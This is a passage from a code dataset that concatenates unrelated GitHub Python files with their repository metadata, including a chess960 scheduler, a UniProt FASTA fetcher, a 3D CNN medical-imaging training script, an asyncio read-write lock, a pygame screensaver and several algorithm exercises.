day.day, 0, 0, 0)\n days = (start - datetime.datetime(1970, 1, 1, 0, 0, 0)).days\n \n time_index = days % len(TIME_CONTROLS)\n \n arenas = []\n for i in range(8): \n for j in range(3): \n arenas.append(Arena(\n LEVELS[j], TIME_CONTROLS[(time_index + i + j) % 4], start))\n\n start += datetime.timedelta(hours=1)\n\n return arenas\n\n\nif __name__ == '__main__':\n src = pathlib.Path(__file__).resolve().parent\n dotenv.load_dotenv(src / '.env')\n\n logs = src / 'logs/'\n logs.mkdir(parents=True, exist_ok=True)\n\n logger = logging.getLogger('chess960-scheduler')\n logger.setLevel(logging.INFO)\n formatter = logging.Formatter(\n '[%(levelname)s] {%(funcName)s | %(filename)s} %(asctime)s: %(message)s')\n\n file_handler = logging.FileHandler(\n filename=logs / '{}.log'.format(datetime.datetime.now()),\n encoding='utf-8', mode='w')\n file_handler.setFormatter(formatter)\n file_handler.setLevel(logging.DEBUG)\n logger.addHandler(file_handler)\n\n console_handler = logging.StreamHandler()\n console_handler.setFormatter(formatter)\n console_handler.setLevel(logging.INFO)\n logger.addHandler(console_handler)\n\n tomorrow = datetime.datetime.today() + datetime.timedelta(days=1)\n arenas = make_daily_arenas(tomorrow)\n\n logger.info(f'Scheduling {len(arenas)} arenas for {tomorrow}')\n for a in arenas:\n response = a.register()\n if response.status_code != 200:\n logger.error('Received error when scheduling {}'.format(a.prepare_request))\n logger.error(str(response.content))\n else:\n logger.info('scheduled {}'.format(a.prepare_request()))","repo_name":"goobta/chess960-scheduler","sub_path":"src/schedule.py","file_name":"schedule.py","file_ext":"py","file_size_in_byte":3553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3750528002","text":"from models.pipelines import Pipeline, Stage\nimport pandas as pd\nimport os\nfrom multiprocessing import Pool\nimport requests\nimport re\n\n\nclass Uniprot_Fasta(Stage):\n s = None\n\n def preprocessing(self, data):\n self.s = requests.session()\n return data\n\n def processing(self, data):\n uniprot_ids = data[\"dataframe\"][\"id_canonical\"].drop_duplicates().to_list()\n fasta_ids = self.multi_map(Pool(), self.get_fasta, uniprot_ids)\n data[\"fasta_ids\"] = pd.DataFrame({\"ID\": uniprot_ids, \"FASTA\": fasta_ids})\n return data\n\n def data_adapter(self, data):\n output_data = {\n \"dataframe\": data[\"dataframe\"].merge(\n data[\"fasta_ids\"], on=\"ID\", how=\"inner\"\n ).reset_index(drop=True),\n \"fasta\": data[\"fasta_ids\"],\n \"no_pdb_uniprot_ids\": data[\"no_pdb_uniprot_ids\"],\n \"uniprot_pdb_map\": data[\"uniprot_pdb_map\"],\n }\n return output_data\n\n def get_fasta(self, UNIPROT_ID):\n fasta_id = UNIPROT_ID\n regex = re.compile(r\"(|)[A-Z0-9]+(|)\")\n url = \"\".join([\"https://www.uniprot.org/uniprot/\", fasta_id, \".fasta\"])\n resp = requests.get(url)\n # return resp.text[resp.text.find('\\n')::]\n\n # We got rip of \">UNI_ID\" we have to mind it with sumo services\n fasta = \"\".join(resp.text.split(\"\\n\")[1::])\n return fasta\n\n # Uniprot closes connections if we reuse sessions, we need another method\n def get_fasta_session(self, UNIPROT_ID):\n s, fasta_id = UNIPROT_ID[0], UNIPROT_ID[1]\n regex = re.compile(r\"(|)[A-Z0-9]+(|)\")\n url = \"\".join([\"https://www.uniprot.org/uniprot/\", fasta_id, \".fasta\"])\n resp = s.get(url)\n # return resp.text[resp.text.find('\\n')::]\n fasta = (\n \">\"\n + regex.search(resp.text).group()\n + \"\\n\"\n + \"\".join(resp.text.split(\"\\n\")[1::])\n )\n return fasta\n","repo_name":"ibn90/SumoHub","sub_path":"sumohub/models/sumoprotkin/uniprot_fasta.py","file_name":"uniprot_fasta.py","file_ext":"py","file_size_in_byte":1942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29296233984","text":"import matplotlib as mpl\nimport matplotlib.pyplot as pyplot\nimport numpy\nfrom methods import constant_step_gradient as const\nfrom methods import split_step_gradient as split\nfrom methods import fastest_step_gradient as fastest\nfrom methods import conjugate_gradient_method as conjugate\n\n\ndef build_graph(full_title, a, b, func, x_values, y_values):\n mpl.rcParams[\"figure.figsize\"] = (20, 15)\n mpl.rcParams[\"axes.unicode_minus\"] = False\n\n x = numpy.arange(a, b, 0.1)\n y = numpy.arange(a, b, 0.1)\n x, y = numpy.meshgrid(x, y)\n z = numpy.array([x.ravel(), y.ravel()]).T\n z = func(z[:, 0], z[:, 1])\n z = z.reshape(x.shape)\n m = pyplot.contour(x, y, z, 40)\n\n pyplot.title(full_title)\n pyplot.colorbar(m)\n pyplot.plot(x_values, y_values, 'o-', c=\"red\")\n pyplot.show()\n\n\ndef build_all(f_name, f, dfx, dfy, x0, y0, eps, alpha, a, b, coefficient):\n x, y, x_s, y_s, count = const(f, dfx, dfy, x0, y0, eps, alpha)\n full_title = \"Метод градиентный спуск с постоянным шагом для функции :\" + f_name\n build_graph(full_title, a, b, f, x_s, y_s)\n print(full_title, \"\\n\", \"найденный минимум (\", x, \";\", y, \")\")\n print(\"count of iterations :\", count, \"\\n\")\n\n x, y, x_s, y_s, count = split(f, dfx, dfy, x0, y0, eps, alpha, coefficient)\n full_title = \"Метод градиентный спуск с дроблением шага для функции :\" + f_name\n build_graph(full_title, a, b, f, x_s, y_s)\n print(full_title, \"\\n\", \"найденный минимум (\", x, \";\", y, \") \")\n print(\"count of iterations :\", count, \"\\n\")\n\n x, y, x_s, y_s, count = fastest(f, dfx, dfy, x0, y0, eps, a, b)\n full_title = \"Метод наискорейшего спуска для функции :\" + f_name\n build_graph(full_title, a, b, f, x_s, y_s)\n print(full_title, \"\\n\", \"найденный минимум (\", x, \";\", y, \")\")\n print(\"count of iterations :\", count, \"\\n\")\n\n\ndef build_conjugate_gradient_graph(func_name, matrix, vec, xy, eps, a, b, func):\n x, y, x_s, y_s, count = conjugate(matrix, vec, xy, eps)\n full_title = \"Метод сопряженных градиентов :\" + func_name\n build_graph(full_title, a, b, func, x_s, y_s)\n print(full_title, \"\\n\", \"найденный минимум (\", x, \";\", y, \")\")\n print(\"count of iterations :\", count, \"\\n\")\n","repo_name":"AzatUsmanov/Applied-math","sub_path":"math.mpdel lab3/mathModel3/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":2407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39672389974","text":"\"\"\" \n\nhttps://github.com/tensorflow/tensorflow/blob/master/tensorflow/g3doc/get_started/os_setup.md#optional-install-cuda-gpus-on-linux\nhttp://tflearn.org/installation/\nexport TF_BINARY_URL=https://storage.googleapis.com/tensorflow/linux/gpu/tensorflow-0.9.0-cp35-cp35m-linux_x86_64.whl\n\n\nexport LD_LIBRARY_PATH=\"$LD_LIBRARY_PATH:/usr/local/cuda-7.5/targets/x86_64-linux/lib\"\nexport CUDA_HOME=/usr/local/cuda\n\n\n\"\"\"\nfrom __future__ import division, print_function, absolute_import\n\nimport os\nimport sys\n\nimport sqlite3\nimport nibabel as nib\nimport numpy as np\nimport h5py\n\nsys.path.append('/mnt/dokumneter/sintef/NeuroImageRegistration/')\nimport util\n\n# Data loading and preprocessing\n# import tflearn.datasets.oxflower17 as oxflower17\n# X, Y = oxflower17.load_data(one_hot=True)\n\n\nutil.setup(\"GBM_deepNN/\")\nif not os.path.exists(util.TEMP_FOLDER_PATH):\n os.makedirs(util.TEMP_FOLDER_PATH)\n\nconn = sqlite3.connect(util.DB_PATH)\nconn.text_factory = str\ncursor = conn.execute('''SELECT pid from QualityOfLife''')\n\n\ndef get_data():\n filename = 'gbm_data.h5'\n if not os.path.exists(filename):\n X = []\n Y = []\n PID = []\n conn = sqlite3.connect(util.DB_PATH)\n conn.text_factory = str\n\n image_ids = util.find_images_with_qol()\n print(image_ids)\n i = 0\n for image_id in image_ids:\n print(image_id)\n cursor = conn.execute('''SELECT filepath_reg, pid from Images where id = ? ''', (image_id,))\n db_temp = cursor.fetchone()\n if not db_temp:\n continue\n t1_vol = util.DATA_FOLDER + db_temp[0]\n pid = db_temp[1]\n qol = conn.execute('SELECT {} from QualityOfLife where pid = ?'.format('Global_index'), (pid,)).fetchone()[\n 0]\n if not qol:\n continue\n\n (label_vol, label) = util.find_reg_label_images(image_id)[0]\n label_img = nib.load(label_vol)\n label_data = np.array(label_img.get_data())\n temp = np.sum(np.sum(label_data, axis=0), axis=0)\n z = np.argmax(temp)\n label_slice = label_data[:, :, z]\n # np.save(util.TEMP_FOLDER_PATH + \"/res/\" + pid + \"_label\", label_slice)\n\n t1_img = nib.load(t1_vol)\n t1_data = np.array(t1_img.get_data())\n # t1_slice = t1_data[:, :, z]\n # np.save(util.TEMP_FOLDER_PATH + \"/res/\" + pid + \"_t1\", t1_slice)\n\n # print(t1_slice[:, np.newaxis].shape)\n X = t1_data[:, :, :, np.newaxis]\n if not os.path.exists(filename):\n # Open a file in \"w\"rite mode\n d_imgshape = (len(image_ids), X.shape[0], X.shape[1], X.shape[2], X.shape[3])\n d_labelshape = (len(image_ids),)\n\n dataset = h5py.File(filename, 'w')\n dataset.create_dataset('X', d_imgshape, chunks=True)\n dataset.create_dataset('Y', d_labelshape, chunks=True)\n # dataset.close()\n\n # dataset = h5py.File(filename, 'w')\n dataset['X'][i] = X\n dataset['Y'][i] = (qol - 1)\n dataset.flush()\n i = i + 1\n print(temp.shape)\n\n cursor.close()\n conn.close()\n dataset.close()\n\n h5f = h5py.File(filename, 'r')\n return h5f\n\n\ndef get_data2():\n filename = 'gbm_data2.h5'\n if not os.path.exists(filename):\n X = []\n Y = []\n PID = []\n conn = sqlite3.connect(util.DB_PATH)\n conn.text_factory = str\n\n cursor2 = conn.execute('''SELECT id,filepath_reg from Images where diag_pre_post = ?''',(\"pre\",))\n image_ids = []\n for _id in cursor2:\n if _id[1] is None:\n continue\n image_ids.append(_id[0])\n cursor2.close()\n\n i = 0\n for image_id in image_ids:\n print(image_id)\n cursor = conn.execute('''SELECT filepath_reg, pid from Images where id = ? ''', (image_id,))\n db_temp = cursor.fetchone()\n if not db_temp:\n continue\n t1_vol = util.DATA_FOLDER + db_temp[0]\n pid = db_temp[1]\n glioma_grade = conn.execute('''SELECT glioma_grade from Patient where pid = ?''', (pid,)).fetchone()[\n 0]\n if not glioma_grade:\n continue\n\n (label_vol, label) = util.find_reg_label_images(image_id)[0]\n label_img = nib.load(label_vol)\n label_data = np.array(label_img.get_data())\n temp = np.sum(np.sum(label_data, axis=0), axis=0)\n z = np.argmax(temp)\n label_slice = label_data[:, :, z]\n # np.save(util.TEMP_FOLDER_PATH + \"/res/\" + pid + \"_label\", label_slice)\n\n t1_img = nib.load(t1_vol)\n t1_data = np.array(t1_img.get_data())\n # t1_slice = t1_data[:, :, z]\n # np.save(util.TEMP_FOLDER_PATH + \"/res/\" + pid + \"_t1\", t1_slice)\n\n # print(t1_slice[:, np.newaxis].shape)\n X = t1_data[:, :, :, np.newaxis]\n if not os.path.exists(filename):\n # Open a file in \"w\"rite mode\n d_imgshape = (len(image_ids), X.shape[0], X.shape[1], X.shape[2], X.shape[3])\n d_labelshape = (len(image_ids),)\n\n dataset = h5py.File(filename, 'w')\n dataset.create_dataset('X', d_imgshape, chunks=True)\n dataset.create_dataset('Y', d_labelshape, chunks=True)\n # dataset.close()\n\n # dataset = h5py.File(filename, 'w')\n dataset['X'][i] = X\n dataset['Y'][i] = glioma_grade - 2\n dataset.flush()\n i = i + 1\n print(temp.shape)\n\n cursor.close()\n conn.close()\n dataset.close()\n\n h5f = h5py.File(filename, 'r')\n return h5f\n\nh5f = get_data()\nX = h5f['X']\nY = h5f['Y']\n\n#X_test = h5f['cifar10_X_test']\n\nprint(min(Y), max(Y))\n\n#Y_test = h5f['cifar10_Y_test']\n\n# X_test = X[100:]\n# Y_test = Y[100:]\n# X = X[:100]\n# Y = Y[:100]\n\nimport tflearn\nfrom tflearn.data_preprocessing import ImagePreprocessing\nfrom tflearn.data_utils import shuffle, to_categorical\nfrom tflearn.layers.core import input_data, dropout, fully_connected\nfrom tflearn.layers.conv import conv_3d, max_pool_3d, avg_pool_3d\nfrom tflearn.layers.estimator import regression\n\nnum_of_categories = int(max(Y)+1)\nY = to_categorical(Y, num_of_categories)\n\nimg_prep = ImagePreprocessing()\nimg_prep.add_featurewise_zero_center()\nimg_prep.add_featurewise_stdnorm()\n\n# Building 'VGG Network'\nnetwork = input_data(shape=[None, 197, 233, 189, 1])\n\nnetwork = conv_3d(network, 4, 3, activation='relu')\nnetwork = conv_3d(network, 4, 3, activation='relu')\nnetwork = max_pool_3d(network, [1, 2, 2, 2, 1], strides=2)\n\nnetwork = conv_3d(network, 8, 3, activation='relu')\nnetwork = conv_3d(network, 8, 3, activation='relu')\nnetwork = max_pool_3d(network, [1, 2, 2, 2, 1], strides=2)\n\nnetwork = conv_3d(network, 64, 3, activation='relu')\nnetwork = conv_3d(network, 64, 3, activation='relu')\nnetwork = max_pool_3d(network, [1, 2, 2, 2, 1], strides=2)\n\nnetwork = conv_3d(network, 128, 3, activation='relu')\nnetwork = conv_3d(network, 128, 3, activation='relu')\nnetwork = max_pool_3d(network, [1, 2, 2, 2, 1], strides=2)\n\nnetwork = conv_3d(network, 256, 3, activation='relu')\nnetwork = conv_3d(network, 256, 3, activation='relu')\nnetwork = conv_3d(network, 256, 3, activation='relu')\nnetwork = max_pool_3d(network, [1, 2, 2, 2, 1], strides=2)\n\nnetwork = conv_3d(network, 512, 3, activation='relu')\nnetwork = conv_3d(network, 512, 3, activation='relu')\nnetwork = conv_3d(network, 512, 3, activation='relu')\nnetwork = max_pool_3d(network, [1, 2, 2, 2, 1], strides=2)\n\nnetwork = conv_3d(network, 512, 3, activation='relu')\nnetwork = conv_3d(network, 512, 3, activation='relu')\nnetwork = conv_3d(network, 512, 3, activation='relu')\nnetwork = max_pool_3d(network, [1, 2, 2, 2, 1], strides=2)\n\nnetwork = fully_connected(network, 4096, activation='relu')\nnetwork = dropout(network, 0.5)\nnetwork = fully_connected(network, 4096, activation='relu')\nnetwork = dropout(network, 0.5)\nnetwork = fully_connected(network, num_of_categories, activation='softmax')\n\nnetwork = regression(network, optimizer='rmsprop',\n loss='categorical_crossentropy',\n learning_rate=0.001)\n\n# Training\nmodel = tflearn.DNN(network, checkpoint_path='model_vgg',\n max_checkpoints=1, tensorboard_verbose=0)\nmodel.fit(X, Y, n_epoch=500, shuffle=True,\n show_metric=True, batch_size=32, snapshot_step=500,\n snapshot_epoch=False, run_id='gbm_qpø')\n\nh5f.close()\n","repo_name":"Danielhiversen/deeplearning","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8709,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"35117953506","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom googlecloudsdk.core import exceptions\n\n\nclass ParserError(exceptions.Error):\n \"\"\"Error parsing YAML into a dictionary.\"\"\"\n\n def __init__(self, path, msg):\n msg = 'parsing {path}: {msg}'.format(\n path=path,\n msg=msg,\n )\n super(ParserError, self).__init__(msg)\n\n\nclass ParseProtoException(exceptions.Error):\n \"\"\"Error interpreting a dictionary as a specific proto message.\"\"\"\n\n def __init__(self, path, proto_name, msg):\n msg = 'interpreting {path} as {proto_name}: {msg}'.format(\n path=path,\n proto_name=proto_name,\n msg=msg,\n )\n super(ParseProtoException, self).__init__(msg)\n\n\nclass HybridUnsupportedRegionError(exceptions.Error):\n \"\"\"Unsupported region for hybrid worker pools specified.\"\"\"\n\n def __init__(self, region):\n msg = \"\"\"hybrid worker pools currently does not support the {region} region. Please use {supported_regions}.\"\"\".format(\n region=region,\n supported_regions='\\'us-west4\\'')\n super(HybridUnsupportedRegionError, self).__init__(msg)\n\n\nclass HybridNonAlphaConfigError(exceptions.Error):\n \"\"\"Hybrid Configs are currently only supported in the alpha release track.\"\"\"\n\n def __init__(self):\n msg = 'invalid config file.'\n super(HybridNonAlphaConfigError, self).__init__(msg)\n\n\nclass WorkerConfigButNoWorkerpoolError(exceptions.Error):\n \"\"\"The user has not supplied a worker pool even though a workerconfig has been specified.\"\"\"\n\n def __init__(self):\n msg = ('Detected a worker pool config but no worker pool. Please specify a '\n 'worker pool.')\n super(WorkerConfigButNoWorkerpoolError, self).__init__(msg)\n","repo_name":"boostcampaitech2/final-project-level3-cv-15","sub_path":"serving/google-cloud-sdk/lib/googlecloudsdk/api_lib/cloudbuild/cloudbuild_exceptions.py","file_name":"cloudbuild_exceptions.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"72862424107","text":"import logging\n\n\nLOG_CATEGORY = 'twimp'\nLOG_FORMAT = ('%(asctime)s %(process)5d '\n '%(levelname)-7s %(name)-20s %(message)s '\n '[%(pathname)s:%(lineno)d]')\nTWISTED_CATEGORY = '%s.twisted' % LOG_CATEGORY\nLOG_ENV_VAR = 'TWIMP_DEBUG'\n\n_logger = None\n\n\ndef _ensure_main_logger():\n global _logger\n\n if not _logger:\n log = logging.getLogger(LOG_CATEGORY)\n log.setLevel(logging.NOTSET)\n\n handler = logging.StreamHandler()\n handler.setLevel(logging.NOTSET)\n\n formatter = logging.Formatter(LOG_FORMAT)\n handler.setFormatter(formatter)\n\n log.addHandler(handler)\n\n _logger = log\n\n\ndef get_logger(subname=None):\n _ensure_main_logger()\n\n if subname:\n logger = logging.getLogger('%s.%s' % (LOG_CATEGORY, subname))\n else:\n logger = logging.getLogger(LOG_CATEGORY)\n\n return logger\n\n\nlabels_to_levels = {\n 'all': 1,\n 'debug': logging.DEBUG,\n 'info': logging.INFO,\n 'warning': logging.WARNING,\n 'error': logging.ERROR,\n 'critical': logging.CRITICAL,\n 'none': logging.NOTSET,\n }\n\ndef _parse_level(s):\n cat = None\n if ':' in s:\n cat, slevel = s.split(':', 1)\n else:\n slevel = s\n\n if slevel in labels_to_levels:\n level = labels_to_levels[slevel.strip().lower()]\n else:\n try:\n level = max(0, min(6, 6 - int(slevel))) * 10\n except:\n raise RuntimeError('cannot parse \"%s\" as \"[CATEGORY:]LEVEL\"' %\n slevel)\n return cat, level\n\ndef set_levels(levels_string):\n levels = levels_string.split(',')\n for s in levels:\n cat, level = _parse_level(s)\n logger = get_logger(cat)\n logger.setLevel(level)\n\n\ndef set_levels_from_env(varname=LOG_ENV_VAR):\n import os\n levels = os.environ.get(varname)\n if levels:\n set_levels(levels)\n\n\ndef hook_twisted(levels=None, redirect_stdout=0):\n _ensure_main_logger()\n if levels:\n set_levels(levels)\n\n from twisted.python import log\n plo = log.PythonLoggingObserver(TWISTED_CATEGORY)\n log.startLoggingWithObserver(plo.emit, setStdout=redirect_stdout)\n","repo_name":"arkadini/twimp","sub_path":"twimp/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"37"} +{"seq_id":"5170702835","text":"from types import TracebackType\nfrom typing import AsyncGenerator\n\nimport asyncio\nfrom collections import deque\nfrom contextlib import asynccontextmanager\n\n\n__all__ = (\"RWLock\",)\n\n\nclass RWLock:\n \"\"\"An read-write lock for asyncio. This class is NOT thread-safe.\n\n Provides an asyncio-powered read-write lock.\n\n - Read and write locks are mutually exclusive.\n - Only a single write lock may be held at any given time.\n - Multiple read locks may be held at any given time.\n - Acquiring a read lock blocks until all queued writers have finished.\n - Acquiring a write lock blocks until all active readers have finished.\n - If multiple writers are waiting for the lock, they are given the lock\n in the same order they requested it.\n \"\"\"\n\n __slots__ = (\"_writers\", \"_readers\", \"_reading\", \"_writing\")\n\n def __init__(self):\n self._reading = 0\n self._writing = 0\n self._writers = deque[asyncio.Future[None]]()\n self._readers = deque[asyncio.Future[None]]()\n\n class RWLockHandle:\n \"\"\"A handle to a locked RWLock.\n\n Allows for upgrading/downgrading of the held lock.\n \"\"\"\n\n __slots__ = (\"_lock\", \"_released\", \"_exclusive\")\n\n def __init__(self, lock: \"RWLock\", exclusive: bool):\n self._lock = lock\n self._released = False\n self._exclusive = exclusive\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_typ: type, exc_val: Exception, exc_trace: TracebackType):\n self._release()\n\n async def upgrade(self):\n if self._released:\n raise RuntimeError(\"cannot upgrade a released lock\")\n if self._exclusive:\n raise RuntimeError(\"cannot upgrade a write lock\")\n write_wait = self._lock._can_write() # pylint: disable=protected-access\n self._release()\n self._released = False\n self._exclusive = True\n await write_wait\n\n async def downgrade(self):\n if self._released:\n raise RuntimeError(\"cannot downgrade a released lock\")\n if not self._exclusive:\n raise RuntimeError(\"cannot downgrade a read lock\")\n read_wait = self._lock._can_read() # pylint: disable=protected-access\n self._release()\n await read_wait\n self._released = False\n self._exclusive = False\n\n def _release(self):\n if not self._released:\n self._released = True\n if self._exclusive:\n self._lock._done_writing() # pylint: disable=protected-access\n else:\n self._lock._done_reading() # pylint: disable=protected-access\n\n @property # type: ignore\n @asynccontextmanager\n async def write(self) -> AsyncGenerator[\"RWLockHandle\", None]:\n await self._can_write()\n with self.RWLockHandle(self, True) as handle:\n yield handle\n\n @property # type: ignore\n @asynccontextmanager\n async def read(self) -> AsyncGenerator[\"RWLockHandle\", None]:\n await self._can_read()\n with self.RWLockHandle(self, False) as handle:\n yield handle\n\n async def _can_read(self):\n if self._writing:\n fut = asyncio.Future[None]()\n self._readers.append(fut)\n await fut\n self._reading += 1\n\n def _done_reading(self):\n self._reading -= 1\n if self._reading > 0:\n return\n # if this is the last reader, wake up the next writer (if any)\n while self._writers:\n next_writer = self._writers.popleft()\n if not next_writer.done():\n next_writer.set_result(None)\n return\n\n async def _can_write(self):\n self._writing += 1\n if not self._reading:\n return\n try:\n fut = asyncio.Future[None]()\n self._writers.append(fut)\n await fut\n except:\n self._writing -= 1\n raise\n\n def _done_writing(self):\n self._writing -= 1\n # if there is a writer in line, wake it up\n while self._writers:\n next_writer = self._writers.popleft()\n if not next_writer.done():\n next_writer.set_result(None)\n return\n # otherwise, wake up the readers (if any)\n while self._readers:\n reader = self._readers.popleft()\n if not reader.done():\n reader.set_result(None)\n","repo_name":"mccolljr/flurry","sub_path":"flurry.util/flurry/util/rwlock.py","file_name":"rwlock.py","file_ext":"py","file_size_in_byte":4566,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"18769726051","text":"'''\n분류 : 다이나믹 프로그래밍\n문제 : 이친수 (백준 2193)\n작성일자 : 2021.07.01\n'''\n\n# 목적 : N번째 길이의 이친수 개수 출력\n# 접근 : dp\n# 1. 이전 문제가 다음 문제에 영향(0 뒤에는 0,1 즉 2개 그리고 1 뒤에는 0 즉 1개만 가능)\n# - 1로만 시작할 수 있고, 10 뒤에는 0, 1 둘다 가능 그리고 또 0,1 이후에 파생\n# 2. 부분 중복 문제\n# 점화식 ai = i-1번째의 끝나는 수가 뒤에 가질 수 있는 수의 개수의 합 > 피보나치수열처럼 진행\n\nN = int(input())\nd = [0] * N\n\nfor i in range(N) : \n if i == 0 or i == 1 : \n d[i] = 1\n continue\n d[i] = d[i-1]+d[i-2]\nprint(d[N-1])","repo_name":"ykiseong303/ProblemSolving","sub_path":"Baekjoon_python/DP/dp_17_2193.py","file_name":"dp_17_2193.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29870809923","text":"from application import app\nfrom flask import render_template\nfrom application.controllers.functions import get_distance, validations_mkad, get_location_destiny\nfrom application.models.forms import GetCoordinates\n\n\n@app.route('/index', methods=[\"GET\", \"POST\"])\n@app.route('/', methods=[\"GET\", \"POST\"])\ndef index():\n form = GetCoordinates()\n destination = form.destiny.data\n if destination is None or destination.isspace():\n return render_template('index.html',\n form=form)\n else:\n coordinates = get_location_destiny(destination)\n if type(coordinates) is tuple:\n result = get_distance(coordinates)\n elif coordinates == 'ERROR: Address not find ':\n result = 'ERROR: Address not find'\n elif validations_mkad(coordinates) != 0:\n result = \"The specified address is located inside the MKAD\"\n else:\n result = 'ERROR: Address not find'\n return render_template('index.html',\n form=form, result=result)\n","repo_name":"cruznicollas/distance-calculator-test-task-flask","sub_path":"application/controllers/default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8420316891","text":"from queue import PriorityQueue\n\n\ndef DecreasingArray(a, n):\n\tss, dif = (0,0)\n\tpq = PriorityQueue()\n\tfor i in range(n):\n\t\ttmp = 0\n\t\tif not pq.empty():\n\t\t\ttmp = pq.get()\n\t\t\tpq.put(tmp)\n\t\tif not pq.empty() and tmp < a[i]:\n\t\t\tdif = a[i] - tmp\n\t\t\tss += dif\n\t\t\tpq.get()\n\t\t\tpq.put(a[i])\n\t\tpq.put(a[i])\n\treturn ss\n\n\nn = int(input())\na = [int(x) for x in input().split()]\nprint(DecreasingArray(a, n))\n","repo_name":"soroushfathi/DataStructure-Algorithm","sub_path":"greedy/p1.py","file_name":"p1.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"38935424035","text":"def dfs(graph, root):\n visited = []\n tot_dist = {x: 99999 for x in graph.keys()}\n stack = [(root, 0)]\n while stack:\n node, dist = stack.pop()\n tot_dist[node] = min(tot_dist[node], dist)\n if node not in visited:\n visited.append(node)\n stack.extend([(x, dist + 1)for x in graph[node] if x not in visited])\n return visited, tot_dist\n\n\ngraph = {\"a\": [\"c\"], \"b\": [\"c\", \"e\"], \"c\": [\"a\", \"b\", \"d\", \"e\"], \"d\": [\"c\"], \"e\": [\"c\", \"b\"], \"f\": []}\n\nv, t = dfs(graph, \"a\")\nprint(v)\nprint(t)\n","repo_name":"ita9naiwa/PandaSchedulingModel","sub_path":"mp.py","file_name":"mp.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"8137678592","text":"import pygame\nimport time\nimport random\n\npygame.init()\nclock=pygame.time.Clock()\n\ninfo = pygame.display.Info()\ndispx,dispy = info.current_w,info.current_h\nscreen=pygame.display.set_mode((dispx,dispy),pygame.FULLSCREEN)\n\nt,r,g,b=0,0,0,0\n\n\n\ndef color():\n global t,r,g,b\n t=t+1\n if t % 100 == 0:\n r=random.randint(50,255)\n g=random.randint(50,255)\n b=random.randint(50,255)\n return (r,g,b)\nblack = (0,0,0)\nwhite = (255,255,255)\nred = (255,0,0)\nblue = (0,0,255)\ngreen = (0,255,0)\n\n\n\n\ndef draw(x,y,a,b):\n pygame.draw.rect(screen,color(),(x,y,a,b),2)\n\ndef move(x,y,a,b,fx,fy):\n draw(x,y,a,b)\n\n if fx==0:\n x=x+5\n if fy==0:\n y=y+4\n if fx==1:\n x=x-5\n if fy==1:\n y=y-4\n\n if(x>=dispx-a):\n fx=1\n if(y>=dispy-b):\n fy=1\n if(x<=0):\n fx=0\n if(y<=0):\n fy=0\n print(\"$$\",x,y,a,b,fx,fy,\"%%\")\n return [x,y,a,b,fx,fy]\n\n\n\ndef screensaver():\n\n a1,b1 = 100,100\n x1,y1= random.randint(0,dispx-a1),random.randint(0,dispx-b1)\n fx1,fy1=0,0\n\n a2,b2 = 100,100\n x2,y2 = random.randint(0,dispx-a2),random.randint(0,dispy-b2)\n fx2,fy2=0,0\n\n a3,b3 = 100,100\n x3,y3 = random.randint(0,dispx-a3),random.randint(0,dispy-b3)\n fx3,fy3=0,0\n\n a4,b4 = 100,100\n x4,y4 = random.randint(0,dispx-a3),random.randint(0,dispy-b3)\n fx4,fy4=0,0\n\n a5,b5 = 100,100\n x5,y5 = random.randint(0,dispx-a3),random.randint(0,dispy-b3)\n fx5,fy5=0,0\n\n\n pygame.display.set_caption('Squares')\n\n running = True\n while (running):\n time.sleep(1/100)\n screen.fill(black)\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running=False\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n running = False\n\n sq1=move(x1,y1,a1,b1,fx1,fy1)\n x1=sq1[0]\n y1=sq1[1]\n a1=sq1[2]\n b1=sq1[3]\n fx1=sq1[4]\n fy1=sq1[5]\n\n\n sq2=move(x2,y2,a2,b2,fx2,fy2)\n x2=sq2[0]\n y2=sq2[1]\n a2=sq2[2]\n b2=sq2[3]\n fx2=sq2[4]\n fy2=sq2[5]\n\n\n sq3=move(x3,y3,a3,b3,fx3,fy3)\n x3=sq3[0]\n y3=sq3[1]\n a3=sq3[2]\n b3=sq3[3]\n fx3=sq3[4]\n fy3=sq3[5]\n\n sq4=move(x4,y4,a4,b4,fx4,fy4)\n x4=sq4[0]\n y4=sq4[1]\n a4=sq4[2]\n b4=sq4[3]\n fx4=sq4[4]\n fy4=sq4[5]\n\n\n sq5=move(x5,y5,a5,b5,fx5,fy5)\n x5=sq5[0]\n y5=sq5[1]\n a5=sq5[2]\n b5=sq5[3]\n fx5=sq5[4]\n fy5=sq5[5]\n\n\n\n\n\n\n pygame.display.update()\n\n clock.tick(60)\n\nscreensaver()\npygame.quit()\nquit()\n","repo_name":"Sanjeevan1998/Learning-Pygame","sub_path":"Pygame/ss3/dancing squares.py","file_name":"dancing squares.py","file_ext":"py","file_size_in_byte":2683,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"33760116898","text":"# -*- coding: utf-8 -*-\n\"\"\"\n @Time : 2020-09-01 10:10\n @Author : QDY\n 